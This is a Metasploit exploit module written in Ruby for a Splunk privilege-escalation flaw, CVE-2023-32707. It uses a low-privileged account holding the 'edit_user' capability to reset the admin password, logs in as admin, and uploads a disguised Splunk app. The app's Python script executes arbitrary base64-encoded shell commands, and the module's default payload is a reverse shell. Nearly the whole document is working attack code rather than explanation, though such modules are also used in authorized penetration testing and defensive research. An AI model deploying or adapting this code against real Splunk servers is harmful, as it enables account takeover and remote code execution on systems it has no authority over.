## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient attr_accessor :cookie def initialize(info = {}) super( update_info( info, 'Name' => 'Splunk "edit_user" Capability Privilege Escalation', 'Description' => %q{ A low-privileged user who holds a role that has the "edit_user" capability assigned to it can escalate their privileges to that of the admin user by providing a specially crafted web request. This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf configuration file, which prevents this scenario from happening. This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE. }, 'Author' => [ 'Mr Hack (try_to_hack) Santiago Lopez', # discovery 'Heyder Andrade', # metasploit module 'Redway Security <redwaysecurity.com>' # Writeup and PoC ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2023-32707' ], [ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory [ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'Platform' => %w[linux unix win osx], 'Targets' => [ [ 'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux', { 'Arch' => ARCH_CMD, 'Platform' => %w[linux unix], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python', # just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:' 'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME' } } ], [ 'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8000, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # requests are logged in the _audit index # ARTIFACTS_ON_DISK # app is removed in the cleanup method ] }, 'DisclosureDate' => '2023-06-01' ) ) register_options( [ OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']), OptString.new('PASSWORD', [true, 'The password for the specified username']), OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']), OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]), OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(\s|-|_){1,}/, '')]) ] ) # That depends on finding a strategy to distinguish commands that return output and commands that don't # register_advanced_options( # [ # OptBool.new('ReturnOutput', [ true, 'Display command output', false ]) # ] # ) end def check splunk_login(datastore['USERNAME'], datastore['PASSWORD']) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']), 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'output_mode' => 'json' } }) return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200 body = res.get_json_document version = Rex::Version.new(body['generator']['version']) return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless ( (Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) || (Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) || (Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14')) ) print_status("Detected Splunk version #{version} which is vulnerable") capabilities = body['entry'].first['content']['capabilities'] return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user' report_vuln( host: rhost, name: name, refs: references, info: [version] ) CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability") end def app_name datastore['APP_NAME'] end # The cleanup method is removing the app before the session is closed and it is broking the session. # def cleanup return unless session_created? super # Destroy job vprint_status("Cleaning up: destroying job #{@job_id}") send_request_cgi({ 'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id), 'method' => 'DELETE', 'cookie' => cookie }) # Remove app vprint_status("Cleaning up: removing app #{app_name}") execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'), 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000'] } }) end def exploit splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD']) splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD']) splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE']) @job_id = execute_command(payload.encoded, { app_name: app_name }) # TODO: distinguish commands that return output and commands that don't # fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput'] # if datastore['ReturnOutput'] # print_status('Waiting for command output') # print_line(splunk_fetch_job_output) # end end def execute_command(cmd, opts = {}) res = send_request_cgi({ 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'] }, 'vars_post' => { 'auto_cancel' => '62', 'status_buckets' => '300', 'output_mode' => 'json', 'search' => "| #{app_name} #{Rex::Text.encode_base64(cmd)}", 'earliest_time' => '-1@h', 'latest_time' => 'now', 'ui_dispatch_app' => (opts[:app_name]).to_s } }) fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200 body = res.get_json_document fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data'] body['data'] end def splunk_helper_extract_token(uri) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, uri), 'method' => 'GET', 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200 "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies end def splunk_login(username, password) # gets cval and splunkweb_uid cookies self.cookie = splunk_helper_extract_token('/en-US/account/login') # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/en-US/account/login'), 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'username' => username, 'password' => password, 'cval' => cookies_hash['cval'] } }) fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200 cookie << " #{res.get_cookies}" end def splunk_change_password(username, password) # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set do_login(username, password) unless cookie print_status("Changing '#{username}' password to #{password}") res = send_request_cgi({ 'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username), 'method' => 'POST', 'headers' => { 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'], 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => cookie, 'vars_post' => { 'output_mode' => 'json', 'password' => password, 'force-change-pass' => 0, 'locked-out' => 0 } }) fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200 print_good("Password of the user '#{username}' has been changed to #{password}") body = res.get_json_document capabilities = body['entry'].first['content']['capabilities'] fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps' end def splunk_upload_app(app_name, _file_name) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'), 'method' => 'GET', 'cookie' => cookie }) fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200 html = res.get_html_document print_status("Uploading file #{app_name}") data = Rex::MIME::Message.new # fill the hidden fields from the form: state and splunk_form_key html.at('[id="installform"]').elements.each do |form| next unless form.attributes['value'] data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"") end data.add_part('1', nil, nil, 'form-data; name="force"') data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"") post_data = data.to_s res = send_request_cgi({ 'uri' => '/en-US/manager/appinstall/_upload', 'method' => 'POST', 'cookie' => cookie, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) print_good("#{app_name} successfully uploaded") end # def splunk_fetch_job_output # res = send_request_cgi({ # 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"), # 'method' => 'GET', # 'keep_cookies' => true, # 'cookie' => cookie, # 'vars_get' => { # 'output_mode' => 'json' # } # }) # fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200 # body = res.get_json_document # fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('\n')}") if body['results'].empty? # Rex::Text.decode_base64(body['results'].first['result']) # end def splunk_app # metadata folder metadata = <<~EOF [commands] export = system EOF # default folder commands_conf = <<~EOF [#{app_name}] type = python filename = #{app_name}.py local = false enableheader = false streaming = false perf_warn_limit = 0 EOF app_conf = <<~EOF [launcher] author=#{Faker::Name.name} description=#{Faker::Lorem.sentence} version=#{Faker::App.version} [ui] is_visible = false EOF # bin folder msf_exec_py = <<~EOF import sys, base64, subprocess import splunk.Intersplunk header = ['result'] results = [] try: proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) output = proc.stdout.read().decode('utf-8') results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')}) except Exception as e: error_msg = f'Error : {str(e)} ' results = splunk.Intersplunk.generateErrorResults(error_msg) splunk.Intersplunk.outputResults(results, fields=header) EOF tarfile = StringIO.new Rex::Tar::Writer.new tarfile do |tar| tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io| io.write metadata end tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io| io.write commands_conf end tar.add_file("#{app_name}/default/app.conf", 0o644) do |io| io.write app_conf end tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io| io.write msf_exec_py end end tarfile.rewind tarfile.close Rex::Text.gzip(tarfile.string) end def cookies_hash cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip } end end